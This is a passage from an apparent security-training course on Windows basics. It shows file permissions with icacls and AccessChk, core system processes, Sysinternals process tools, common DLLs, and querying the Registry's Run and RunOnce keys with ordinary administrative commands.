a parent entity to propagate attributes to its children. In the
case of NTFS, inheritance has to do with the permissions assigned to
a particular file or folder. By default, a particular file or folder
inherits the permissions of the folder it is contained within.
Let's now turn to some of the ways we can view and interact with
permissions on a Windows system. The icacls tool and its deprecated
predecessor, cacls, are built-in executables that can display and
modify permissions on files and folders.
We can view the icacls usage information by typing it at the
Command Prompt.
C:\>icacls
ICACLS name /save aclfile [/T] [/C] [/L] [/Q]
stores the DACLs for the files and folders that match the name
into aclfile for later use with /restore. Note that SACLs,
owner, or integrity labels are not saved.
ICACLS directory [/substitute SidOld SidNew [...]] /restore aclfile
[/C] [/L] [/Q]
applies the stored DACLs to files in directory.
...
Listing 11 - Viewing icacls usage information
Towards the bottom of the extensive usage information, we can see that
the various rights are coded with one to four characters:
perm is a permission mask and can be specified in one of two forms:
a sequence of simple rights:
N - no access
F - full access
M - modify access
RX - read and execute access
R - read-only access
W - write-only access
D - delete access
a comma-separated list in parentheses of specific rights:
DE - delete
RC - read control
WDAC - write DAC
WO - write owner
S - synchronize
AS - access system security
MA - maximum allowed
GR - generic read
GW - generic write
GE - generic execute
GA - generic all
RD - read data/list directory
WD - write data/add file
AD - append data/add subdirectory
REA - read extended attributes
WEA - write extended attributes
X - execute/traverse
DC - delete child
RA - read attributes
WA - write attributes
inheritance rights may precede either form and are applied
only to directories:
(OI) - object inherit
(CI) - container inherit
(IO) - inherit only
(NP) - don't propagate inherit
(I) - permission inherited from parent container
Listing 12 - Viewing icacls usage information - continued
Here are some of the common options we might be interested in:
/T executes the operation recursively on all subfolders
/C forces the operation to continue despite any errors
/L is used with symbolic links. It causes the operation to be
executed on the link itself rather than its target.
We can supply a folder as input to icacls to view its
permissions.
C:\Users\Offsec>icacls Music
Music NT AUTHORITY\SYSTEM:(OI)(CI)(F)
BUILTIN\Administrators:(OI)(CI)(F)
Offsec-Machine\Offsec:(OI)(CI)(F)
Successfully processed 1 files; Failed processing 0 files
Listing 13 - Using icacls on the Music directory
Earlier, we started to learn about ACEs and ACLs. An ACE represents a
particular permission, and an ACL is just a list of the permissions.
In listing 13, each line of the output is
considered an ACE. The values in parentheses indicate the inheritance
properties and rights of the given user. For example, "(OI)" stands
for Object Inherit, which means the ACE will be inherited by files
and folders placed within the directory. In this case, all three users
of the machine are granted full access to the file because of the "F"
flag.
We can use the /grant and /deny options to provide
or remove rights to a file or folder.
c:\>icacls Music /grant Susan:(OI)(CI)(F)
processed file: Folder
Successfully processed 1 files; Failed processing 0 files
c:>icacls Music /t /c
Music NT AUTHORITY\SYSTEM:(OI)(CI)(F)
BUILTIN\Administrators:(OI)(CI)(F)
Offsec-Machine\Offsec:(OI)(CI)(F)
Offsec-Machine\Susan:(OI)(CI)(F)
Music\RockAndRoll NT AUTHORITY\SYSTEM:(OI)(CI)(F)
BUILTIN\Administrators:(OI)(CI)(F)
Offsec-Machine\Offsec:(OI)(CI)(F)
Offsec-Machine\Susan:(OI)(CI)(F)
...
Listing 14 - Using icacls to grant permissions
In listing 14, we grant the user Susan with
full permissions to the Music directory. We then use the
/t option to check that the assigned permissions have been
propagated to children of the directory.
One of the many programs included in the Sysinternals suite is called
accesschk.exe, or simply AccessChk. AccessChk is a robust
auditing tool that can retrieve information on permissions across the
entire operating system.
Let's review the AccessChk usage information by invoking it
at the command line. Note that we need to supply the full path to the
file or execute it from the directory containing Sysinternals.
C:\Users\Offsec\Downloads\SysinternalsSuite>accesschk
Accesschk v6.13 - Reports effective permissions for securable objects
Copyright ⌐ 2006-2020 Mark Russinovich
Sysinternals - www.sysinternals.com
usage: accesschk [-s][-e][-u][-r][-w][-n][-v]-[f <account>,...][[-a]|[-k]|[-m]|[-p [-f] [-t]]|[-h][-o [-t <object type>]][-c]|[-d]] [[[-l|-L] [-i]]|[username]] <file, directory, event log, registry key, process, service, object>
-a Name is a Windows account right. Specify '*' as the name to show all
rights assigned to a user. Note that when you specify a specific
right, only groups and accounts directly assigned the right are
displayed.
-c Name is a Windows Service e.g. ssdpsrv. Specify '*' as the
name to show all services and 'scmanager' to check the security
of the Service Control Manager.
-d Only process directories or top level key.
-e Only show explicitly set Integrity Levels (Windows Vista and
higher only).
-f If following -p, shows full process token information including
groups and privileges. Otherwise is a list of comma-separated
accounts to filter from the output.
-h Name is a file or printer share. Specify '*' as the name to show
all shares.
-i Ignore objects with only inherited ACEs when dumping full access
control lists.
-k Name is a Registry key e.g. hklm\software
-l Show full security descriptor. Add -i to ignore inherited ACEs.
Specify upper-case L to have the output format as SDDL.
-m Name is an event log (specify '*' as the name to show all event logs.
-n Show only objects that have no access.
-o Name is an object in the Object Manager namespace (default is root).
To view the contents of a directory, specify the name with a trailing
backslash or add -s. Add -t and an object type (e.g. section) to
see only objects of a specific type.
-p Name is a process name or PID e.g. cmd.exe (specify '*' as the
name to show all processes). Add -f to show full process
token information including groups and privileges. Add -t to show
threads.
-nobanner
Do not display the startup banner and copyright message.
-r Show only objects that have read access.
-s Recurse.
-t Object type filter e.g. "section"
-u Suppress errors.
-v Verbose (includes Windows Vista Integrity Level).
-w Show only objects that have write access.
If you specify a user or group name and path AccessChk will report the
effective permissions for that account; otherwise it will show the effective
access for accounts referenced in the security descriptor.
By default the path name is interpreted as a file system path (use the
"\pipe\" prefix to specify a named pipe path). For each object AccessChk
prints R if the account has read access, W for write access and nothing if
it has neither. The -v switch has AccessChk dump the specific
accesses granted to an account.
Listing 15 - Viewing accesschk usage information
We can view the rights of a specific security principal by providing
it as input to AccesssChk. Let's see what kind of permissions the
users group has on the C:\ drive:
c:\Users\Offsec\Desktop\SysinternalsSuite>accesschk.exe "users" c:\
Accesschk v6.13 - Reports effective permissions for securable objects
Copyright ⌐ 2006-2020 Mark Russinovich
Sysinternals - www.sysinternals.com
RW c:\$Recycle.Bin
R c:\$WINDOWS.~BT
R c:\bootmgr
R c:\BOOTNXT
R c:\Documents and Settings
c:\MSOCache
c:\pagefile.sys
Error getting security:
The process cannot access the file because it is being used by another process.
c:\PerfLogs
R c:\Program Files
R c:\Program Files (x86)
RW c:\ProgramData
R c:\Python27
R c:\Recovery
c:\swapfile.sys
Error getting security:
The process cannot access the file because it is being used by another process.
c:\System Volume Information
R c:\Users
R c:\Windows
Listing 16 - Using accesschk to view permissions
The output of Listing 16 displays permissions
for the principal provided to AccessChk as input (in this case,
the users group). It displays an "R" if the principal has any read
permissions, a "W" if the principal has any write permissions, and
nothing if it has neither.
Remember that runas can be used to execute a file with someone
else's permissions.
This Learning Unit covers the following Learning Objectives:
In this section, we'll cover Windows processes[133].
A process is the container in which a program runs and a thread
is a single running instance of that program. Microsoft uses the
following analogy[134] to describe the differences
between threads, processes, and programs:
Before we dive into Windows processes, we need to understand that
there are two modes[135] that an operating system can work
in: Kernel mode and User mode. Generally, a computer will switch
back and forth between these two modes, to execute many different
tasks in short periods. Kernel mode is for the most trusted operations
that the OS itself needs to execute. Processes running under Kernel
mode have access to the physical machine's underlying hardware. On the
other hand, User mode is for the vast majority of programs running on
the computer, but processes running in User mode do not have access to
the machine's hardware.
We mention this here because diving into Kernel-mode processes is well
beyond the scope of this Module. We will instead focus our attention on
User mode processes.
In this section, we'll discuss some of the core windows
processes[136]^,[137], how to view
them, and some ways to interact with them.
The functionality of different processes has changed over
different Windows versions. The following tour attempts to be as
version-agnostic as possible to keep the content at a high-level.
One important concept to understand before we dive in is
inheritance. We previously used the word inheritance to describe
how a subfolder or file can acquire the permissions of its parent
folder. In the context of processes, the idea is similar - if
ProcessOne starts ProcessTwo, we say that ProcessOne is the parent
of ProcessTwo, and that ProcessTwo is the child of ProcessOne.
To be considered a parent/child, the respective child/parent process
must still be alive. In other words, inheritance in this context
describes a relationship: both parent and child must be running to
maintain their relationship status.
As mentioned above, we won't cover kernel processes here, with one
exception. System is a Kernel-mode procedure responsible for core
operating system mechanisms. It makes sure that the OS can talk to the
machine's underlying hardware, and starts a cascade of other processes
that each perform key User mode functionality. In particular, it is
the parent of smss.exe. Another way to say this is that it
spawns smss.exe. On Windows 10, the System always has a
Process Identifier (PID)[138] of 4. We'll learn how to find
PIDs of running processes shortly.
smss.exe: Session Manager is the first User mode process that's
started on a Windows machine. It is primarily responsible for
mapping out virtual address space.[139] It is spawned
by System twice: one instance spawns winlogon.exe and
csrss.exe and then exits, and the other stays alive to watch
over the user's session. When it notices that winlogon.exe
or csrss.exe stop, it signals the OS to shutdown or crash,
depending on the reason for the halt.
winlogon.exe: Windows Logon is responsible for not
only authenticating users, but also for loading user
profiles. In addition, it performs an array of functions
even after login. For example, it listen's for the famous
C+E+H[140] key sequence
that opens the security menu. Despite being started by another
process, Windows Logon has no parent, because it is spawned by
the instance of smss.exe that exits immediately upon its
creation. It is also the parent of userinit.exe, which
itself starts the user's initial shell and then exits. Usually,
userinit.exe starts explorer.exe.
csrss.exe: The Client Server Runtime Process is responsible for
several background functions. It begins the shutdown sequence when
terminated, and it is the parent of the process that eventually spawns
cmd.exe.
explorer.exe: Windows Explorer is responsible for rendering much
of the Windows GUI shell that the user interacts with. It governs
the Windows Start Menu, the Taskbar, and the System Tray. It is the
parent of several children processes, but it has no parent itself
because userinit.exe exits as soon as explorer.exe
is started.
wininit.exe: Windows Startup is responsible for triggering a
crucial set of User mode applications that must run to maintain the
system's stability and functionality. Windows Startup is the parent of
several children processes.
There are plenty of other essential Windows processes that we won't
get into here. In particular, we will cover server-related processes
like svchost.exe in later Modules.
Now that we've touched on some Windows processes, let's learn
about a few tools we can use to interact with them: tasklist and
taskkill. The tasklist command will list all running and
currently-suspended processes on the machine:
C:\>tasklist
Image Name PID Session Name Session# Mem Usage
========================= ======== ================ =========== ============
System Idle Process 0 Services 0 8 K
System 4 Services 0 136 K
Registry 124 Services 0 34,532 K
smss.exe 428 Services 0 1,200 K
csrss.exe 628 Services 0 5,576 K
wininit.exe 780 Services 0 7,032 K
csrss.exe 788 Console 1 5,440 K
winlogon.exe 888 Console 1 12,120 K
services.exe 948 Services 0 10,264 K
lsass.exe 968 Services 0 22,064 K
svchost.exe 668 Services 0 28,920 K
...
Listing 17 - Using tasklist to view runnning processes
In listing 17, we can note a few things right
away. First, as mentioned above, System always runs with a PID of 4.
In addition, System Idle Process runs with a PID of 0. Essentially,
the Idle Process just runs when the OS has nothing else to spend
cycles on. We can also see a whole bunch of the processes we mentioned
above: smss.exe, csrss.exe, wininit.exe,
winlogon.exe, etc.
As usual, we can use the /? flag to print out the command's
usage information:
C:\>tasklist /?
TASKLIST [/S system [/U username [/P [password]]]]
[/M [module] | /SVC | /V] [/FI filter] [/FO format] [/NH]
Description:
This tool displays a list of currently running processes on
either a local or remote machine.
Parameter List:
/S system Specifies the remote system to connect to.
/U [domain\]user Specifies the user context under which
the command should execute.
/P [password] Specifies the password for the given
user context. Prompts for input if omitted.
/M [module] Lists all tasks currently using the given
exe/dll name. If the module name is not
specified all loaded modules are displayed.
/SVC Displays services hosted in each process.
/APPS Displays Store Apps and their associated processes.
/V Displays verbose task information.
/FI filter Displays a set of tasks that match a
given criteria specified by the filter.
/FO format Specifies the output format.
Valid values: "TABLE", "LIST", "CSV".
/NH Specifies that the "Column Header" should
not be displayed in the output.
Valid only for "TABLE" and "CSV" formats.
/? Displays this help message.
Filters:
Filter Name Valid Operators Valid Value(s)
----------- --------------- --------------------------
STATUS eq, ne RUNNING | SUSPENDED
NOT RESPONDING | UNKNOWN
IMAGENAME eq, ne Image name
PID eq, ne, gt, lt, ge, le PID value
SESSION eq, ne, gt, lt, ge, le Session number
SESSIONNAME eq, ne Session name
CPUTIME eq, ne, gt, lt, ge, le CPU time in the format
of hh:mm:ss.
hh - hours,
mm - minutes, ss - seconds
MEMUSAGE eq, ne, gt, lt, ge, le Memory usage in KB
USERNAME eq, ne User name in [domain\]user
format
SERVICES eq, ne Service name
WINDOWTITLE eq, ne Window title
MODULES eq, ne DLL name
...
Listing 18 - Viewing tasklist usage information
One important option displayed in listing 18
is the /FI flag, which allows us to parse results based on
additional input. For example, we can view all processes running under
SYSTEM's user context is as follows:
C:\>tasklist /fi "USERNAME eq NT AUTHORITY\SYSTEM" /fi "STATUS eq running"
Image Name PID Session Name Session# Mem Usage
========================= ======== ================ =========== ============
csrss.exe 788 Console 1 5,448 K
NVDisplay.Container.exe 2892 Console 1 46,768 K
rundll32.exe 5388 Console 1 7,280 K
...
Listing 19 - Using tasklist to view SYSTEM's running processes
As we learned in a previous section, the find command can
also be used to filter results based on an expected string:
C:\>tasklist /fi "imagename eq cmd.exe"
Image Name PID Session Name Session# Mem Usage
========================= ======== ================ =========== ============
cmd.exe 84 Console 1 4,408 K
C:\>tasklist |find "cmd.exe"
cmd.exe 84 Console 1 4,632 K
Listing 20 - Using tasklist and find to filter for cmd.exe
In listing 20, we first use tasklist's built-in
filter to find the cmd.exe process, and then we demonstrate
how to use find to replicate the results.
We can use the taskkill command to terminate a process by
specifying its process ID or image name. Let's review the
command's usage information first:
C:\>taskkill /?
TASKKILL [/S system [/U username [/P [password]]]]
{ [/FI filter] [/PID processid | /IM imagename] } [/T] [/F]
Description:
This tool is used to terminate tasks by process id (PID) or image name.
Parameter List:
/S system Specifies the remote system to connect to.
/U [domain\]user Specifies the user context under which the
command should execute.
/P [password] Specifies the password for the given user
context. Prompts for input if omitted.
/FI filter Applies a filter to select a set of tasks.
Allows "*" to be used. ex. imagename eq acme*
/PID processid Specifies the PID of the process to be terminated.
Use TaskList to get the PID.
/IM imagename Specifies the image name of the process
to be terminated. Wildcard '*' can be used
to specify all tasks or image names.
/T Terminates the specified process and any
child processes which were started by it.
/F Specifies to forcefully terminate the process(es).
/? Displays this help message.
Filters:
Filter Name Valid Operators Valid Value(s)
----------- --------------- -------------------------
STATUS eq, ne RUNNING |
NOT RESPONDING | UNKNOWN
IMAGENAME eq, ne Image name
PID eq, ne, gt, lt, ge, le PID value
SESSION eq, ne, gt, lt, ge, le Session number.
CPUTIME eq, ne, gt, lt, ge, le CPU time in the format
of hh:mm:ss.
hh - hours,
mm - minutes, ss - seconds
MEMUSAGE eq, ne, gt, lt, ge, le Memory usage in KB
USERNAME eq, ne User name in [domain\]user
format
MODULES eq, ne DLL name
SERVICES eq, ne Service name
WINDOWTITLE eq, ne Window title
...
Listing 21 - Viewing taskkill's usage information
We can see in listing 21 that many of
taskkill's syntax and options are similar to those of tasklist. Let's
use taskkill to terminate the cmd.exe process. We
know from 20 that cmd.exe is running
as PID 84, so let's use that knowledge to end it:
C:\>taskkill /PID 84
Listing 22 - Terminating cmd.exe with taskkill
Upon successful completion of this command, the running Command Prompt
will exit!
The Sysinternals Suite contains several tools that can help us manage
and analyze processes. The pslist tool is like an enhanced
and more detailed version of tasklist. Let's check the usage
information with the standard /? flag:
C:\Users\Offsec\Downloads\SysinternalsSuite>pslist /?
PsList v1.4 - Process information lister
Copyright (C) 2000-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
Usage: pslist [-d][-m][-x][-t][-s [n] [-r n] [\\computer [-u username][-p password][name|pid]
-d Show thread detail.
-m Show memory detail.
-x Show processes, memory information and threads.
-t Show process tree.
-s [n] Run in task-manager mode, for optional seconds specified.
Press Escape to abort.
-r n Task-manager mode refresh rate in seconds (default is 1).
\\computer Specifies remote computer.
-u Optional user name for remote login.
-p Optional password for remote login. If you don't present
on the command line pslist will prompt you for it if necessary.
name Show information about processes that begin with the name
specified.
-e Exact match the process name.
-nobanner Do not display the startup banner and copyright message.
pid Show information about specified process.
All memory values are displayed in KB.
Abbreviation key:
Pri Priority
Thd Number of Threads
Hnd Number of Handles
VM Virtual Memory
WS Working Set
Priv Private Virtual Memory
Priv Pk Private Virtual Memory Peak
Faults Page Faults
NonP Non-Paged Pool
Page Paged Pool
Cswtch Context Switches
Listing 23 - Viewing pslist usage information
Running the command with no arguments produces a table like the
following:
C:\Users\Offsec\Downloads\SysinternalsSuite>pslist
PsList v1.4 - Process information lister
Copyright (C) 2000-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
Process information for Offsec-Machine:
Name Pid Pri Thd Hnd Priv CPU Time Elapsed Time
Idle 0 0 8 0 60 46:18:25.765 6:07:07.039
System 4 8 175 3721 196 0:03:07.734 6:07:07.039
Registry 124 8 4 0 7288 0:00:02.734 6:07:08.716
smss 428 11 3 53 1096 0:00:00.187 6:07:07.030
csrss 628 13 15 503 2060 0:00:01.421 6:07:02.237
wininit 780 13 2 161 1476 0:00:01.625 6:07:01.361
csrss 788 13 15 623 2612 0:01:54.265 6:07:01.358
winlogon 888 13 5 276 2944 0:00:00.156 6:07:01.093
services 948 9 8 682 5368 0:00:03.812 6:06:58.275
lsass 968 9 10 1412 8564 0:00:03.421 6:06:58.238
svchost 668 8 22 1486 11432 0:00:06.406 6:06:57.973
...
Listing 24 - Running pslist
The output of listing 24 is already quite
detailed compared to that of tasklist. We can use the
-d switch to show information about threads running within
processes:
C:\Users\Offsec\Downloads\SysinternalsSuite>pslist -d
PsList v1.4 - Process information lister
Copyright (C) 2000-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
Thread detail for Offsec-Machine:
Idle 0:
Tid Pri Cswtch State User Time Kernel Time Elapsed Time
0 0 20580704 Running 0:00:00.000 5:41:55.015 0:00:00.000
0 0 8235058 Running 0:00:00.000 6:01:26.484 0:00:00.000
0 0 29415466 Running 0:00:00.000 5:44:02.046 0:00:00.000
0 0 12082713 Running 0:00:00.000 6:03:30.343 0:00:00.000
0 0 23820755 Running 0:00:00.000 5:53:34.890 0:00:00.000
0 0 9787052 Running 0:00:00.000 6:00:18.078 0:00:00.000
0 0 16211835 Standby 0:00:00.000 5:56:35.640 0:00:00.000
0 0 7401098 Running 0:00:00.000 5:42:20.578 0:00:00.000
System 4:
Tid Pri Cswtch State User Time Kernel Time Elapsed Time
12 13 180 Wait:Executive 0:00:00.000 0:00:00.000 3685291:31:42.659
16 15 74 Wait:Executive 0:00:00.000 0:00:00.015 3685291:31:42.659
20 15 46 Wait:Executive 0:00:00.000 0:00:00.000 3685291:31:42.659
24 16 12 Wait:Executive 0:00:00.000 0:00:00.000 3685291:31:42.659
Listing 25 - Running pslist with the -d flag
In listing 25, we can view the threads running
under the Idle and System processes.
The -t switch provides us with tree-like output that exposes
child-parent relationships. Let's experiment with this by using our
current cmd.exe session to invoke another Command Prompt, and
then use pslist -t to analyze the results:
C:\Users\Offsec\Downloads\SysinternalsSuite>cmd
Microsoft Windows [Version 10.0.19041.985]
(c) Microsoft Corporation. All rights reserved.
C:\Users\Offsec\Downloads\SysinternalsSuite>pslist -t
PsList v1.4 - Process information lister
Copyright (C) 2000-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
Process information for Offsec-Machine:
...
cmd 13352 8 2 85 4194303 5496 3452
cmd 6132 8 3 73 4194303 4620 4392
pslist 11292 13 4 222 62992 8484 3292
conhost 12772 8 7 320 4194303 26360 14436
...
Listing 26 - Running pslist with the -t flag
Listing 26 demonstrates that the newly-invoked
cmd.exe is a child of the original. It further shows that at
runtime, it was pslist's parent.
Just as Sysinternals has an equivalent for tasklist, so it does too
for taskkill. We can use the pskill tool to terminate local
and remote processes by supplying it with a PID or name.
Let's kill the second cmd.exe session we started in listing
26:
C:\Users\Offsec\Downloads\SysinternalsSuite>pskill 6132
PsKill v1.16 - Terminates processes on local or remote systems
Copyright (C) 1999-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
Process 6132 killed.
C:\Users\Offsec\Downloads\SysinternalsSuite>pslist -t |find "cmd"
cmd 13352 8 2 86 4194303 5600 4216
Listing 27 - Running pskill
In listing 27 we provide pskill with
the PID of the second Command Prompt, which terminates the shell.
We then double-check with pslist that only one instance of
cmd.exe is running.
We can use pssuspend to either suspend or resume a process on a
local or remote system. This is useful for situations where we would
rather temporarily stop a process, rather than kill it completely.
If we supply no options to the command, it will suspend the provided
process, and if we supply the -r switch, it will resume the provided
process.
If we supply pssuspend with a specific process ID, it will suspend
or resume that particular process, but if we provide it with the
process's name, it will suspend or resume every instance of the
process.
For example, to suspend and then resume the chrome.exe
process we can type:
C:\Users\Offsec\Downloads\SysinternalsSuite>pssuspend chrome.exe
PsSuspend v1.07 - Process Suspender
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals
Process chrome.exe suspended.
C:\Users\Offsec\Downloads\SysinternalsSuite>pssuspend -r chrome.exe
PsSuspend v1.07 - Process Suspender
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals
Process chrome.exe resumed.
Listing 28 - Running pssuspend
Finally, let's cover one utility related to DLLs. We can use the
listdlls command to check which DLLs are called upon by various
processes. Let's run listdlls with no arguments. We'll need
to use C+c to stop the command since it will run for
some time otherwise:
C:\Users\Offsec\Downloads\SysinternalsSuite>listdlls
Listdlls v3.2 - Listdlls
Copyright (C) 1997-2016 Mark Russinovich
Sysinternals
...
winlogon.exe pid: 888
Command line: winlogon.exe
Base Size Path
0x000000001a840000 0xe3000 C:\WINDOWS\system32\winlogon.exe
0x0000000063970000 0x1f5000 C:\WINDOWS\SYSTEM32\ntdll.dll
0x0000000063140000 0xbd000 C:\WINDOWS\System32\KERNEL32.DLL
...
Listing 29 - Running listdlls with no arguments
The output of listing 29 expresses that
winlogon.exe is calling code from both ntdll.dll and
KERNEL32.DLL.
We can use the -u switch to list any
unsigned[141] DLLs. This can be helpful to locate any
potentially untrusted code running on the system:
C:\Users\Offsec\Downloads\SysinternalsSuite>listdlls -u
Listdlls v3.2 - Listdlls
Copyright (C) 1997-2016 Mark Russinovich
Sysinternals
...
unsigned.exe pid: 4992
Command line: "unsigned.exe"
Base Size Path
0x0000000080000000 0x5000 C:\WINDOWS\system32\Unsigned2.dll
Verified: Unsigned
Publisher: 2021-03-18 Offsec
Description: Example Unsigned DLL
Product: PEN-100
Version: 1.3.3.7
File version: 1.3.3.7
Create time: Sun Mar 18 20:11:25 2021
Listing 30 - Finding unsigned DLLs with listdlls
This Learning Unit covers the following Learning Objectives:
Libraries are repositories of functions that can easily be
imported into other programs. Windows uses Dynamic-Link Libraries
(DLLs),[108-1] which are themselves written in the
same format as .exe files. This helps eliminate reprogramming
the wheel, so to speak, and also creates a bedrock of community and
interdisciplinary collaboration. In this section, we'll cover some of the
DLLs are commonly invoked by various processes.
Windows makes use of a significant number of shared libraries, which
are called DLLs. DLLs contain code and data that can be called upon
at the same time by more than one program. DLLs essentially allow a
program to call upon already-written functionality instead of needing
to perform those functions itself.
On 64-bit versions of Windows, DLLs and system executables are stored
in System32 and SysWOW64. As we touched on in a
previous section, System32 contains 64-bit libraries and
SysWOW64 contains 32-bit libraries. On 32-bit version of
Windows, all system-wide libraries are located in System32.
Let's go over a shortlist of common Windows DLLs and their basic
functionality:
HAL.DLL: The Hardware Abstraction Layer is a Kernel-mode
library file and it cannot be used by any User-mode programs. It
performs multiple functions related to the system's underlying
hardware.
NTDLL.DLL: The New-Technology DLL allows User-mode programs
to call upon the Windows Native API.[142] The Native API
is used when other more robust APIs are unavailable, such as during
system startup. For example, the aforementioned csrss.exe
calls upon NTDLL.DLL functionality.
KERNEL32.DLL: This DLL allows applications to call upon most
of the Win32 base APIs involving things like memory management, input
and output operations, and more. As an example of how DLLs can be used
by other code, KERNEL32.DLL itself implements much of its
functionality by calling upon NTDLL.DLL code.
USER32.DLL: Allows applications to call upon objects making
up the user interface, like the desktop, taskbar, and Start menu.
ADVAPI32.DLL: Allows applications to call upon security
features as well as functions that manipulate the Registry. We'll
discuss the Registry in detail in the following section.
There are many more DLLs that Windows runs on. It is outside the
scope of this Module to go through them all; however, we encourage you
to review this list[143] should you be interested in
learning more about Windows core libraries.
This Learning Unit covers the following Learning Objectives:
In this section, we will learn about the structure of the Windows
Registry[144] and how to interact with it.
The Windows Registry[145] acts as a central
database for the OS. The Registry is important to understand from
a security perspective because it contains the most critical system
information. This information is constantly referenced by the OS
and by applications during startup as well as during regular system
operation.
Through the Registry, we can access both system information and user
information. In addition, we can use it to control which services and
applications get executed on the system.
A full exposition of the Registry is well beyond the scope of this
course so we'll be focusing on gathering a high-level understanding.
The basic unit of data within the Registry is called a key, which is
similar to a directory. The Registry uses a hierarchical structure, so
every key can contain additional subkeys or subdirectories, but they
can also contain specific values. Each value has a name, a data
type,[146] and data content.
When an application wants to write data in the registry, it needs to
open the relevant key. To open a key, the application must provide the
name of the desired key to another, already opened key. We might ask
ourselves if this seems a bit circular: to open keys we seem to need
to open keys.
Windows solves this apparent paradox with the concept of predefined
keys[147]. Predefined keys start and stay open, so
they can always be invoked by applications. Here is a list of some
of the predefined keys and a short description. For a more extensive
explanation of these keys, please see the resources section.
HKEY_CLASSES_ROOT (HKCR): Provides information related to file
types and properties. The subkeys under HKCR are often used by shell
applications (such as the Command Prompt) and by Component Object
Model (COM)[101-1] applications.
HKEY_CURRENT_CONFIG (HKCC): Provides information related to the
hardware configurations upon which the OS is running, specifically
in comparison to the default configuration.
HKEY_CURRENT_USER (HKCU): Provides information related to the
setting configurations of the current user. Note that the HKCU key
and subkeys will be different depending on what user is logged in,
including SYSTEM.
HKEY_LOCAL_MACHINE: Provides information about the local machine
related to input/output devices, memory, and drivers.
HKEY_PERFORMANCE_DATA: Provides information related to system
performance. Notably, data associated with this key isn't stored
within the Registry itself but is rather referenced by Registry
functions[148].
HKEY_USERS Provides information related to the default settings
assigned to new users.
To better organize keys and subkeys, the Registry employs the concept
of hives[149]. A hive is a set of keys and their values.
Each hive has specific files associated with it that get loaded into
memory upon a trigger, for example, when the system is booted up or
when a user authenticates.
Microsoft provides the following table, which lists the standard hives
and their supporting files:
| Registry hive | Supporting files |
|---|---|
| HKEY_CURRENT_CONFIG | System, System.alt, System.log, System.sav |
| HKEY_CURRENT_USER | Ntuser.dat, Ntuser.dat.log |
| HKEY_LOCAL_MACHINE\SAM | Sam, Sam.log, Sam.sav |
| HKEY_LOCAL_MACHINE\Security | Security, Security.log, Security.sav |
| HKEY_LOCAL_MACHINE\Software | Software, Software.log, Software.sav |
| HKEY_LOCAL_MACHINE\System | System, System.alt, System.log, System.sav |
| HKEY_USERS\.DEFAULT | Default, Default.log, Default.sav |
Table 1 - Default Hives and supporting files
Now that we've learned a little bit about the Registry's organization
and structure, we can turn towards using Windows tools to interact
with specific registry values.
There are too many different key values to cover here. We will point
out a few of them, and then apply some of the tools Windows comes with
to access keys, create keys and values, and delete values.
We'll also discuss exporting, which will be very important from a
security perspective.
The Run and RunOnce Registry keys allow applications to run upon
user authentication. In a nutshell, any program that is specified
as a value of one of these keys will be started once a user logs in.
Multiple programs can be included within the value of a given key.
By default, there are four Run and RunOnce keys, which live under
HKEY_LOCAL_MACHINE and HKEY_CURRENT_USER:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
The difference between the Run and RunOnce keys is that the values of
the latter will be deleted from the key as soon as the program(s) are
run.
We can use both the CLI and the GUI to interact with the Registry. The
graphical Registry Editor can be opened with the regedit command,
however, in this section, we'll focus on using the Command Prompt to
continue gathering familiarity and comfort with it.
Let's use the reg command to interact with the Registry and display
the values of the Run and RunOnce keys. Let's review the subcommands
of reg. They can be accessed with reg /?:
C:\>reg /?
REG Operation [Parameter List]
Operation [ QUERY | ADD | DELETE | COPY |
SAVE | LOAD | UNLOAD | RESTORE |
COMPARE | EXPORT | IMPORT | FLAGS ]
Return Code: (Except for REG COMPARE)
0 - Successful
1 - Failed
For help on a specific operation type:
REG Operation /?
Examples:
REG QUERY /?
REG ADD /?
REG DELETE /?
REG COPY /?
REG SAVE /?
REG RESTORE /?
REG LOAD /?
REG UNLOAD /?
REG COMPARE /?
REG EXPORT /?
REG IMPORT /?
REG FLAGS /?
C:\>
Listing 31 - Using reg /?
The output of listing 31 outlines a long
list of actions we can perform with the registry. Let's follow the
instructions and find the usage for the query subcommand:
REG QUERY KeyName [/v [ValueName] | /ve] [/s]
[/f Data [/k] [/d] [/c] [/e]] [/t Type] [/z] [/se Separator]
[/reg:32 | /reg:64]
KeyName [\\Machine\]FullKey
Machine - Name of remote machine, omitting defaults to the
current machine. Only HKLM and HKU are available on
remote machines
FullKey - in the form of ROOTKEY\SubKey name
ROOTKEY - [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey - The full name of a registry key under the
selected ROOTKEY
/v Queries for a specific registry key values.
If omitted, all values for the key are queried.
Argument to this switch can be optional only when specified
along with /f switch. This specifies to search in valuenames only.
/ve Queries for the default value or empty value name (Default).
/s Queries all subkeys and values recursively (like dir /s).
/se Specifies the separator (length of 1 character only) in
data string for REG_MULTI_SZ. Defaults to "\0" as the separator.
/f Specifies the data or pattern to search for.
Use double quotes if a string contains spaces. Default is "*".
/k Specifies to search in key names only.
/d Specifies the search in data only.
/c Specifies that the search is case sensitive.
The default search is case insensitive.
/e Specifies to return only exact matches.
By default all the matches are returned.
/t Specifies registry value data type.
Valid types are:
REG_SZ, REG_MULTI_SZ, REG_EXPAND_SZ,
REG_DWORD, REG_QWORD, REG_BINARY, REG_NONE
Defaults to all types.
/z Verbose: Shows the numeric equivalent for the type of the valuename.
/reg:32 Specifies the key should be accessed using the 32-bit registry view.
/reg:64 Specifies the key should be accessed using the 64-bit registry view.
...
C:\>
Listing 32 - Using reg query /?
Next, let's see if we can query the values of the Run and RunOnce keys
for our current user:
C:\>reg query hkcu\software\microsoft\windows\currentversion\runonce
C:\>reg query hkcu\software\microsoft\windows\currentversion\run
HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run
OneDrive REG_SZ "C:\Users\OffSec\AppData\Local\Microsoft\OneDrive\OneDrive.exe"
C:\>
Listing 33 - Using reg query on Run and RunOnce keys
